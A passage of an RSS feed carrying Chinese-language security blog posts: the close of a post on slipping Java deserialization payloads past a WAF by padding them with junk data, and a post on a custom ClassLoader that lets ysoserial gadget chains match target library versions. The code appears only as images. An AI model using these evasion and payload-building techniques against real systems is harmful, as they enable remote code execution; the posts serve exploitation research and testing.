&#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 14px;letter-spacing: 1px;"><br/></span></p><p style="line-height: 2em;"><span style="font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 14px;letter-spacing: 1px;">通过如下命令就可以生成带有</span><span style="font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 14px;letter-spacing: 1px;color: rgb(217, 33, 66);">40000脏数据</span><span style="font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 14px;letter-spacing: 1px;">的CommsonCollects6序列化数据。</span></p><p style="line-height: 2em;"><span style="font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 14px;letter-spacing: 1px;"></span><img class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.14609375" data-s="300,640" style="text-align: center;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;" data-type="png" data-w="1280" src="https://wechat2rss.xlab.app/img-proxy/?k=4a7eb5e1&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F075AT6bRmPdjqJHf7PCRM5icrVpIJKqGGNJN6aEEBygtLFxzuUffiaUNbosSDyNMjo7h6gic0ibznaYSFkavjFB4rw%2F640%3Fwx_fmt%3Dpng"/></p><p style="line-height: 2em;"><span style="font-size: 14px;letter-spacing: 1px;"></span></p><p style="line-height: 2em;"><span style="font-size: 14px;letter-spacing: 1px;">把</span><span style="font-size: 14px;letter-spacing: 1px;color: rgb(217, 33, 66);">cc6-dnslog.ser</span><span style="font-size: 14px;letter-spacing: 1px;">复制到burp中发送，完美饶过waf收到dnslog!</span></p><p style="text-align: center;"><img class="rich_pages wxw-img" data-galleryid="" data-ratio="0.453125" data-s="300,640" style="" data-type="png" data-w="1280" src="https://wechat2rss.xlab.app/img-proxy/?k=aace6aa6&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F075AT6bRmPdjqJHf7PCRM5icrVpIJKqGGYSe93JSD0GndPWWzbyq1dfWiajbyia3qw8OR2sPdbZczx6868gyfOc0w%2F640%3Fwx_fmt%3Dpng"/></p><p style="line-height: 2em;"><br/></p><p style="line-height: 2em;"><br/></p><p style="line-height: 2em;text-align: center;"><span style="background-color: rgb(171, 25, 66);color: rgb(255, 255, 255);"><strong><span style="color: rgb(255, 255, 255);background-color: rgb(171, 25, 66);letter-spacing: 1px;font-size: 18px;"> 0x04 </span></strong></span></p><p style="line-height: 2em;text-align: center;"><strong><span style="letter-spacing: 1px;font-size: 18px;">留一个小问题</span></strong></p><p style="line-height: 2em;"><br/></p><p style="line-height: 2em;"><br/></p><p style="line-height: 2em;"><span style="font-size: 14px;letter-spacing: 1px;">其实不是所有的集合类都适合用于包裹脏数据和gadget，比如</span><span style="font-size: 14px;letter-spacing: 1px;color: rgb(217, 33, 66);">LinkedHashSet</span><span style="font-size: 14px;letter-spacing: 1px;">,</span><span style="font-size: 14px;letter-spacing: 1px;color: rgb(217, 33, 66);">HashSet</span><span style="font-size: 14px;letter-spacing: 1px;">，</span><span style="font-size: 14px;letter-spacing: 1px;color: rgb(217, 33, 66);">TreeSet</span><span style="font-size: 14px;letter-spacing: 1px;">等类就不适合。至于为何，留给大家思考。</span></p><p style="line-height: 2em;"><br/></p>



<p><a href="https://gv7.me/articles/2021/java-deserialize-data-bypass-waf-by-adding-a-lot-of-dirty-data/">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=17057acd&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzg3NjA4MTQ1NQ%3D%3D%26mid%3D2247484067%26idx%3D1%26sn%3D3a0fe73cb30a84af18c3c932f0e661b2%26subscene%3D0">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Mon, 02 Aug 2021 12:00:00 +0800</pubDate>
    </item>
    <item>
      <title>使用自定义ClassLoader解决反序列化serialVesionUID不一致问题</title>
      <link>https://mp.weixin.qq.com/s?__biz=Mzg3NjA4MTQ1NQ==&amp;mid=2247484053&amp;idx=1&amp;sn=3d6b4ab6d090e660196f4de55ef77f73</link>
      <description>Java反序列化serialVesionUID不一致解决方案</description>
      <content:encoded><![CDATA[<p>
原创 <span>c0ny1</span> <span>2020-07-10 09:00</span> <span style="display: inline-block;"></span>
</p>

<p>Java反序列化serialVesionUID不一致解决方案</p>
<p></p>



<p>
<img src="https://wechat2rss.xlab.app/img-proxy/?k=560b0570&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2F075AT6bRmPchu5HS6bAspdoftMgzoSKRBPs5bqUC4VKRW6CQiautpicXSqcoDwl9oCQibuMxvMbl3AfCUtYCldJicg%2F0%3Fwx_fmt%3Djpeg"/>
</p>


<p style="text-align: center;"><img class="rich_pages" data-ratio="0.8111239860950173" data-s="300,640" style="" data-type="jpeg" data-w="863" src="https://wechat2rss.xlab.app/img-proxy/?k=82f5b505&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2F075AT6bRmPchu5HS6bAspdoftMgzoSKRbXLHIyic4kjLFiaJrCgYwVxSplibic5N7JNE4DXwa97ux7bIERygvI6bhg%2F640%3Fwx_fmt%3Djpeg"/></p><p style="text-align: right;"><span style="letter-spacing: 1px;font-size: 14px;">爱德华·马奈-沙滩上（1873年夏）</span></p><p style="text-align: center;"><br/></p><p style="text-align: center;"><br/></p><section style="margin-left: 8px;margin-right: 8px;text-align: center;line-height: 2em;"><span style="background-color: rgb(171, 25, 66);color: rgb(255, 255, 255);letter-spacing: 1px;"><strong><span style="color: rgb(255, 255, 255);background-color: rgb(171, 25, 66);font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 18px;"> 0x01 </span></strong><br/></span></section><section style="margin-left: 8px;margin-right: 8px;text-align: center;line-height: 2em;"><span style="letter-spacing: 1px;"><strong><span style="font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 18px;">背景</span></strong></span></section><section style="margin-left: 8px;margin-right: 8px;line-height: 2em;"><br/></section><section style="margin-left: 8px;margin-right: 8px;line-height: 2em;"><br/></section><section style="margin-left: 8px;margin-right: 8px;line-height: 2em;"><span style="letter-spacing: 1px;"><strong><span style="font-size: 14px;color: rgb(217, 33, 66);">serialVesionUid</span><span style="font-size: 14px;">不一致导致反序列化失败也算是Java反序列化漏洞利用比较常见的问题了。</span></strong><span style="font-size: 14px;">查了下资料，发现了各种各样的方法，但没有找到一种适合所有gadget的通用解决方案，为此我花了一些时间，算是找到了自己心中比较完美的解决方案：自定义ClassLoader。目前已经将其集成到ysoserial中，可完美解决各类gadget serialVesionUID不一致问题。</span></span></section><section style="margin-left: 8px;margin-right: 8px;line-height: 2em;"><br/></section><section style="margin-left: 8px;margin-right: 8px;line-height: 2em;"><br/></section><section style="margin-left: 8px;margin-right: 8px;text-align: center;line-height: 2em;"><span style="background-color: rgb(171, 25, 66);color: rgb(255, 255, 255);letter-spacing: 1px;"><strong><span style="color: rgb(255, 255, 255);background-color: rgb(171, 25, 66);font-size: 18px;"> 0x02 </span></strong></span></section><section style="margin-left: 8px;margin-right: 8px;text-align: center;line-height: 2em;"><span style="letter-spacing: 1px;"><strong><span style="font-size: 18px;">各方案的优劣</span></strong></span></section><section style="margin-left: 8px;margin-right: 8px;text-align: center;line-height: 2em;"><span style="letter-spacing: 1px;"><strong><span style="font-size: 18px;"><br/></span></strong></span></section><section style="margin-left: 8px;margin-right: 8px;text-align: center;line-height: 2em;"><span style="letter-spacing: 1px;"><strong><span style="font-size: 18px;"><br/></span></strong></span></section><section style="margin-left: 8px;margin-right: 8px;line-height: 2em;"><span style="font-size: 14px;letter-spacing: 1px;">在解决这个问题之前，我尝试的很多方法，简单说下它们各自能解决的问题和存在的缺陷。</span></section><section style="margin-left: 8px;margin-right: 8px;line-height: 2em;"><br/></section><section style="margin-left: 8px;margin-right: 8px;line-height: 2em;"><span style="font-size: 14px;letter-spacing: 1px;"><strong>方案1:修改序列化byte数据</strong></span></section><section style="margin-left: 8px;margin-right: 8px;line-height: 2em;"><span style="font-size: 14px;letter-spacing: 1px;">该方法可解决序列化最终数据的serialVesionUID不一致，但无法解决Object的serialVesionUID不一致</span></section><section style="margin-left: 8px;margin-right: 8px;line-height: 2em;"><br/></section><section style="margin-left: 8px;margin-right: 8px;line-height: 2em;"><span style="letter-spacing: 1px;"><strong><span style="font-size: 14px;">方案2:反射修改serialVesionUID</span></strong></span></section><section style="margin-left: 8px;margin-right: 8px;line-height: 2em;"><span style="font-size: 14px;letter-spacing: 1px;">可以解决1的缺陷，但无法解决Gadget依赖的class没有serialVesionUID属性的情况，因为反射只能修改Object的属性，不能添加。</span></section><section style="margin-left: 8px;margin-right: 8px;line-height: 2em;"><br/></section><section style="margin-left: 8px;margin-right: 8px;line-height: 2em;"><span style="font-size: 14px;letter-spacing: 1px;"><strong>方案3:修改Class字节码，添加或修改serialVesionUID</strong></span></section><section style="margin-left: 8px;margin-right: 8px;line-height: 2em;"><span style="font-size: 14px;letter-spacing: 1px;">能解决Gadget直接依赖Class的serialVesionUID不一致问题，可弥补方案2的缺陷。但不好解决Gadget间接依赖class存在serialVesionUID不一致的情况。</span></section><p style="text-align: center;"><img class="rich_pages js_insertlocalimg" data-ratio="0.55546875" data-s="300,640" style="" data-type="png" data-w="1280" src="https://wechat2rss.xlab.app/img-proxy/?k=dfb29fb9&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F075AT6bRmPchu5HS6bAspdoftMgzoSKRY0H7y3fJtZozzDQGS9NpAbIrc19zmDDMVpVYNmaGLsL4nJMrIMbFjQ%2F640%3Fwx_fmt%3Dpng"/></p><section style="margin-left: 8px;margin-right: 8px;line-height: 2em;"><br/></section><section style="margin-left: 8px;margin-right: 8px;line-height: 2em;"><span style="letter-spacing: 1px;"><strong><span style="font-size: 14px;">方案4:ObjectStreamClass.getSerialVesionUID()</span></strong></span></section><section style="margin-left: 8px;margin-right: 8px;line-height: 2em;"><span style="font-size: 14px;letter-spacing: 1px;">该方法负责返回所有参与序列化Class的serialVesionUID，Hook它并修改返回值，可解决所有class的serialVesionUID不一致问题。但它无法解决Gadget依赖jar版本之间，class差异较大，属性类型不同的情况。serialVesionUID发生改变的本质是因为Class的属性和方法发生了改变，</span><span style="font-size: 14px;letter-spacing: 1px;text-decoration: underline;">如果属性类型改变了，单单只修改serialVesionUID是不够的。</span></section><p style="text-align: center;"><img class="rich_pages js_insertlocalimg" data-ratio="0.409375" data-s="300,640" style="" data-type="png" data-w="1280" src="https://wechat2rss.xlab.app/img-proxy/?k=a82a8c56&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F075AT6bRmPchu5HS6bAspdoftMgzoSKRjtGibGNcrHqsNUeib621n6PibFwticicNjr4CCU0owHOM7QYs3u6HeETQ9g%2F640%3Fwx_fmt%3Dpng"/></p><section style="margin-left: 8px;margin-right: 8px;line-height: 2em;"><br/></section><section style="margin-left: 8px;margin-right: 8px;line-height: 2em;"><span style="letter-spacing: 1px;"><strong><span style="font-size: 14px;">方案5:URLClassLoader</span></strong></span></section><section style="margin-left: 8px;margin-right: 8px;line-height: 2em;"><span style="font-size: 14px;letter-spacing: 1px;">使用URLClassLoader动态引入依赖jar可以很好的解决以上方案的缺陷。只是用在该场景下有些费劲，原因有三：</span></section><section style="margin-left: 8px;margin-right: 8px;line-height: 2em;"><br/></section><ul class="list-paddingleft-2" style="list-style-type: disc;"><li style="letter-spacing: 1px;"><p><span style="letter-spacing: 1px;"><span style="font-size: 14px;">第一，不方便隔离依赖。包含serialVesionUID不一致class的jar（这里简称</span><span style="font-size: 14px;color: rgb(217, 33, 66);">不一致jar</span><span style="font-size: 14px;">）是需要被隔离的,因为URLClassLoader是双亲委派模式，存在被父ClassLoader中的同名Class覆盖的风险。</span></span></p><p><br/></p></li><li style="letter-spacing: 1px;"><p><span style="letter-spacing: 1px;"><span style="font-size: 14px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;">第二，不方便共享依赖。Gadget依赖的部分jar可能不存在serialVesionUID不一致问题（这里简称</span><span style="font-size: 14px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;color: rgb(217, 33, 66);">可共用jar</span><span style="font-size: 14px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;">），我们需要共享。</span></span></p><p><br/></p></li><li style="letter-spacing: 1px;"><p><span style="font-size: 14px;letter-spacing: 1px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;">第三，不方便添加Class到ClassLoader中，URLClassLoader只提供添加jar的方法。</span></p></li></ul><section style="margin-left: 8px;margin-right: 8px;line-height: 2em;"><br/></section><section style="margin-left: 8px;margin-right: 8px;line-height: 2em;"><br/></section><section style="margin-left: 8px;margin-right: 8px;text-align: center;line-height: 2em;"><span style="background-color: rgb(171, 25, 66);color: rgb(255, 255, 255);letter-spacing: 1px;"><strong><span style="color: rgb(255, 255, 255);background-color: rgb(171, 25, 66);font-size: 18px;"> 0x03 </span></strong></span></section><section style="margin-left: 8px;margin-right: 8px;text-align: center;line-height: 2em;"><span style="letter-spacing: 1px;"><strong><span style="font-size: 18px;">自定义ClassLoader解决方案</span></strong></span></section><section style="margin-left: 8px;margin-right: 8px;line-height: 2em;"><br/></section><section style="margin-left: 8px;margin-right: 8px;line-height: 2em;"><br/></section><section style="margin-left: 8px;margin-right: 8px;line-height: 2em;"><span style="font-size: 14px;letter-spacing: 1px;">在我看来比较完美的方案不仅要解决以上方案的缺陷，还要能防止各种未知的&#34;副作用&#34;。使用ClassLoader来解决的思路肯定是没错,但我们需要结合解决serialVesionUID不一致问题这个场景量身设计一个ClassLoader，核心有两点：</span></section><section style="margin-left: 8px;margin-right: 8px;line-height: 2em;"><br/></section><section style="margin-left: 8px;margin-right: 8px;line-height: 2em;"><span style="font-size: 14px;letter-spacing: 1px;">1. 改双亲委派为当前ClassLoader优先，方便隔离不一致jar共享可共用jar</span></section><section style="margin-left: 8px;margin-right: 8px;line-height: 2em;"><span style="font-size: 14px;letter-spacing: 1px;">2. 方便添加Class和Jar到ClassLoader中</span></section><section style="margin-left: 8px;margin-right: 8px;line-height: 2em;"><br/></section><section style="margin-left: 8px;margin-right: 8px;line-height: 2em;"><span style="letter-spacing: 1px;"><strong><span style="font-size: 14px;">那么自定义ClassLoader是如何解决serialVesionUID不一致问题的呢？</span></strong></span></section><section style="margin-left: 8px;margin-right: 8px;line-height: 2em;"><br/></section><section style="margin-left: 8px;margin-right: 8px;line-height: 2em;"><span style="font-size: 14px;letter-spacing: 1px;">自定义ClassLoader可以很方便地切换</span><span style="font-size: 14px;letter-spacing: 1px;color: rgb(217, 33, 66);">不一致jar</span><span style="font-size: 14px;letter-spacing: 1px;">为漏洞环境的</span><span style="font-size: 14px;letter-spacing: 1px;color: rgb(217, 33, 66);">对应版本</span><span style="font-size: 14px;letter-spacing: 1px;">，生成的发序列化数据自然不会存在serialVesionUID不一致问题。</span></section><section style="margin-left: 8px;margin-right: 8px;line-height: 2em;"><br/></section><section style="margin-left: 8px;margin-right: 8px;line-height: 2em;"><span style="font-size: 14px;letter-spacing: 1px;">具体实现如下图，我们自定义ClassLoader包含了Gadget class和不一致jar。当Gadget class实例化生成序列化对象时，由于当前ClassLoader优先原则，存在不一致问题的class使用的是自定义ClassLoader加载的，实现隔离。而其他Class找不到，自然走双亲委派模式，去父ClassLoader中查找，实现共享。</span><span style="letter-spacing: 1px;"></span></section><p style="text-align: center;"><img class="rich_pages js_insertlocalimg" data-ratio="0.3859375" data-s="300,640" style="" data-type="png" data-w="1280" src="https://wechat2rss.xlab.app/img-proxy/?k=f150b9f7&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F075AT6bRmPchu5HS6bAspdoftMgzoSKRJzrVTVS8Z0qBEQIXugkLWd1GGpZE2Thbcm6KVWk9KFYcNZlZwp4kag%2F640%3Fwx_fmt%3Dpng"/></p><section style="margin-left: 8px;margin-right: 8px;line-height: 2em;"><span style="font-size: 14px;letter-spacing: 1px;">下面我们分别来实现。</span></section><section style="margin-left: 8px;margin-right: 8px;line-height: 2em;"><br/></section><section style="margin-left: 8px;margin-right: 8px;line-height: 2em;"><br/></section><section style="margin-left: 8px;margin-right: 8px;text-align: center;line-height: 2em;"><span style="background-color: rgb(171, 25, 66);color: rgb(255, 255, 255);letter-spacing: 1px;"><strong><span style="color: rgb(255, 255, 255);background-color: rgb(171, 25, 66);font-size: 18px;"> 0x04 </span></strong></span></section><section style="margin-left: 8px;margin-right: 8px;text-align: center;line-height: 2em;"><span style="letter-spacing: 1px;"><strong><span style="font-size: 18px;">addClass &amp;&amp; addJar</span></strong></span></section><section style="margin-left: 8px;margin-right: 8px;line-height: 2em;"><br/></section><section style="margin-left: 8px;margin-right: 8px;line-height: 2em;"><br/></section><section style="margin-left: 8px;margin-right: 8px;line-height: 2em;"><span style="letter-spacing: 1px;"><span style="font-size: 14px;">首先我们自定义的ClassLoader需要维护要一个装载Class的Map </span><span style="font-size: 14px;color: rgb(217, 33, 66);">classByteMap</span><span style="font-size: 14px;">,</span><span style="font-size: 14px;color: rgb(217, 33, 66);">类名</span><span style="font-size: 14px;">为</span><span style="font-size: 14px;color: rgb(217, 33, 66);">键</span><span style="font-size: 14px;">，</span><span style="font-size: 14px;color: rgb(217, 33, 66);">类文件byte数据</span><span style="font-size: 14px;">为</span><span style="font-size: 14px;color: rgb(217, 33, 66);">值</span><span style="font-size: 14px;">。方便后续添加和获取Class。</span></span></section><p style="text-align: center;"><img class="rich_pages js_insertlocalimg" data-cropselx1="0" data-cropselx2="578" data-cropsely1="0" data-cropsely2="85" data-ratio="0.17565485362095531" data-s="300,640" style="width: 578px;height: 102px;" data-type="png" data-w="1298" src="https://wechat2rss.xlab.app/img-proxy/?k=e9646d23&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F075AT6bRmPchu5HS6bAspdoftMgzoSKR6ib01Os8ut0qWMGzZANREZjjPUU9Z6VuGkhFLOvIlvgJvJYv9D1N0Qw%2F640%3Fwx_fmt%3Dpng"/></p><section style="margin-left: 8px;margin-right: 8px;line-height: 2em;"><span style="font-size: 14px;letter-spacing: 1px;">addClass方法，主要是为了方便我们我们把Gadget对应的class添加的自定义ClassLoader中。</span></section><p style="text-align: center;"><img class="rich_pages js_insertlocalimg" data-ratio="0.25680933852140075" data-s="300,640" style="" data-type="png" data-w="1028" src="https://wechat2rss.xlab.app/img-proxy/?k=57a86765&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F075AT6bRmPchu5HS6bAspdoftMgzoSKRNgDeu3jmAjGPssibHqVnZPtXeTsgNzmxwJic3OzrT69tfPGFbI3S7lBw%2F640%3Fwx_fmt%3Dpng"/></p><section style="margin-left: 8px;margin-right: 8px;line-height: 2em;"><span style="letter-spacing: 1px;"><span style="font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 14px;">addJar方法，主要是为了方便把gadget的不一致jar快速添加到ClassLoader中。具体来说就是读取不一致jar中所有class的</span><span style="font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 14px;color: rgb(217, 33, 66);">class name</span><span style="font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 14px;">和</span><span style="font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 14px;color: rgb(217, 33, 66);">class byte</span><span style="font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 14px;">，存储到</span><span style="font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 14px;color: rgb(217, 33, 66);">classByteMap</span><span style="font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 14px;">中。</span></span></section><p style="text-align: center;"><img class="rich_pages js_insertlocalimg" data-ratio="0.81953125" data-s="300,640" style="" data-type="png" data-w="1280" src="https://wechat2rss.xlab.app/img-proxy/?k=7913b5a4&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F075AT6bRmPchu5HS6bAspdoftMgzoSKRUI4Me9loSQvuPN8TBUuCpwWAWfHHsVGxHMdaKkQvwSG94BEnt46OJg%2F640%3Fwx_fmt%3Dpng"/></p><section style="margin-left: 8px;margin-right: 8px;line-height: 2em;"><span style="letter-spacing: 1px;"><br/></span></section><section style="margin-left: 8px;margin-right: 8px;line-height: 2em;"><br/></section><section style="margin-left: 8px;margin-right: 8px;text-align: center;line-height: 2em;"><span style="background-color: rgb(171, 25, 66);color: rgb(255, 255, 255);letter-spacing: 1px;"><strong><span style="color: rgb(255, 255, 255);background-color: rgb(171, 25, 66);font-size: 18px;"> 0x05 </span></strong></span></section><section style="margin-left: 8px;margin-right: 8px;text-align: center;line-height: 2em;"><span style="letter-spacing: 1px;"><strong><span style="font-size: 18px;">改双亲委派为自定义ClassLoader优先</span></strong></span></section><section style="margin-left: 8px;margin-right: 8px;line-height: 2em;"><br/></section><section style="margin-left: 8px;margin-right: 8px;line-height: 2em;"><br/></section><section style="margin-left: 8px;margin-right: 8px;line-height: 2em;"><span style="font-size: 14px;letter-spacing: 1px;">要想打破双亲委派，我们需要重新loadClass方法,修改加载逻辑为优先使用自定义ClassLoader加载。</span></section><p style="text-align: center;"><img class="rich_pages js_insertlocalimg" data-ratio="0.7265625" data-s="300,640" style="" data-type="png" data-w="1280" src="https://wechat2rss.xlab.app/img-proxy/?k=f36b8d5f&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F075AT6bRmPchu5HS6bAspdoftMgzoSKRFsjpogOib2tkDkAIAT6TBu3wZAwJym5fciaaY1ckSnlhC5fyUBRCJnDg%2F640%3Fwx_fmt%3Dpng"/></p><section style="margin-left: 8px;margin-right: 8px;line-height: 2em;"><span style="font-size: 14px;letter-spacing: 1px;">findClass方法定义的是自定义ClassLoader查找Class的逻辑</span></section><p style="text-align: center;"><img class="rich_pages js_insertlocalimg" data-ratio="0.45234375" data-s="300,640" style="" data-type="png" data-w="1280" src="https://wechat2rss.xlab.app/img-proxy/?k=f44185bb&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F075AT6bRmPchu5HS6bAspdoftMgzoSKRibvyaLCE9Qzl4O4VGx3xzibWmwdQ5Zsribhrica88U8YOE7wjFQZkWjiclA%2F640%3Fwx_fmt%3Dpng"/></p><section style="margin-left: 8px;margin-right: 8px;line-height: 2em;"><br/></section><section style="margin-left: 8px;margin-right: 8px;line-height: 2em;"><br/></section><section style="margin-left: 8px;margin-right: 8px;text-align: center;line-height: 2em;"><span style="font-size: 18px;background-color: rgb(171, 25, 66);color: rgb(255, 255, 255);letter-spacing: 1px;"><strong> 0x06 </strong></span></section><section style="margin-left: 8px;margin-right: 8px;text-align: center;line-height: 2em;"><span style="font-size: 18px;letter-spacing: 1px;"><strong>编写版本兼容gadget</strong></span></section><section style="margin-left: 8px;margin-right: 8px;text-align: center;line-height: 2em;"><span style="font-size: 18px;letter-spacing: 1px;"><strong><br/></strong></span></section><section style="margin-left: 8px;margin-right: 8px;text-align: center;line-height: 2em;"><span style="font-size: 18px;letter-spacing: 1px;"><strong><br/></strong></span></section><p style="margin-left: 8px;margin-right: 8px;line-height: 2em;"><span style="font-size: 14px;letter-spacing: 1px;">依然以ysoserial </span><span style="font-size: 14px;letter-spacing: 1px;color: rgb(217, 33, 66);">CommonsBeanutils1</span><span style="font-size: 14px;letter-spacing: 1px;">为例子。ysoserial中默认commons-beanutils是1.9.2版本，下面我们给它添加一个兼容1.8.3版本的</span><span style="font-size: 14px;letter-spacing: 1px;color: rgb(217, 33, 66);">CommonsBeanutils1_183</span><span style="font-size: 14px;letter-spacing: 1px;">。</span></p><p style="margin-left: 8px;margin-right: 8px;line-height: 2em;"><br/></p><p style="margin-left: 8px;margin-right: 8px;line-height: 2em;"><span style="font-size: 14px;letter-spacing: 1px;">通过对比1.9.2和1.8.3序列化数据，发现serialVesionUID不一致的只有</span><span style="font-size: 14px;letter-spacing: 1px;color: rgb(217, 33, 66);">org.apache.commons.beanutils.BeanComparator</span><span style="font-size: 14px;letter-spacing: 1px;">类，它在</span><span style="font-size: 14px;letter-spacing: 1px;color: rgb(217, 33, 66);">commons-beanutils-&lt;version&gt;.jar</span><span style="font-size: 14px;letter-spacing: 1px;">中，剩余的</span><span style="font-size: 14px;letter-spacing: 1px;color: rgb(217, 33, 66);">commons-collections-3.1.jar</span><span style="font-size: 14px;letter-spacing: 1px;">和</span><span style="font-size: 14px;letter-spacing: 1px;color: rgb(217, 33, 66);">commons-logging-1.2.jar</span><span style="font-size: 14px;letter-spacing: 1px;">为可共用jar。</span></p><p style="margin-left: 8px;margin-right: 8px;line-height: 2em;"><span style="font-size: 14px;letter-spacing: 1px;"></span></p><p style="text-align: center;"><img class="rich_pages js_insertlocalimg" data-ratio="0.625" data-s="300,640" style="" data-type="png" data-w="1280" src="https://wechat2rss.xlab.app/img-proxy/?k=b1709c61&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F075AT6bRmPchu5HS6bAspdoftMgzoSKRXre8p8ic84HjJx1Z9uB1TlFQv6WZA6cgqdvfS4Acxk9wWK9UsPKr0EQ%2F640%3Fwx_fmt%3Dpng"/></p><p style="margin-left: 8px;margin-right: 8px;line-height: 2em;"><span style="font-size: 14px;letter-spacing: 1px;">接着就可以编写代码，调用自定义ClassLoader SuidClassLoader来解决serialVesionUID不一致问题了。</span></p><p style="text-align: center;"><img class="rich_pages js_insertlocalimg" data-ratio="0.6734375" data-s="300,640" style="" data-type="png" data-w="1280" src="https://wechat2rss.xlab.app/img-proxy/?k=571685ea&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F075AT6bRmPchu5HS6bAspdoftMgzoSKRwTeolmjb0mUN6tpNRAIuYrOP0TibjG0WU1p0LTicf4spEJtYwT0lzyoQ%2F640%3Fwx_fmt%3Dpng"/></p><section style="margin-left: 8px;margin-right: 8px;line-height: 2em;"><span style="letter-spacing: 1px;"><span 